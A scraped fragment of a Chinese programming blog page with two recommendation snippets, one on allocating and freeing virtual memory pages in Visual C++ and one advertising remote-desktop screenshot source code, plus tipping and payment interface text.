基于visual c++之windows核心编程代码分析（6）分配和释放可读可写的虚拟内存页面
尹成的技术博客
12-16 3238
我们在进行Windows核心编程，经常要用到读取虚拟内存。我们来亲自实践一个分配与释放可读可写的虚拟内存页面，请见代码实现与注释讲解。#include #include /************************************* * int main(void) * 功能 演示虚拟内存的使用 * * 参数 未使用 ******************************
【181028】VC++ 远程桌面控制、抓图源代码
资源小站
10-28 2309
vc++ 编写的一套远程桌面控制、抓图源程序。主程序分为服务端和客户端，测试前请先运行服务端，当客户端启动后，可以抓取远程主机的桌面信息，当然也可以是当前窗口的信息。源程序在vc++6.0下顺利编译。程序有一个需要完善的地方就是，客户端的截屏窗口不能最小化或支持快捷键，当抓图的时候会连同客户端一同抓取，有点不方便。 源码下载地址：点击下载 备用下载地址：点击下载 ...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值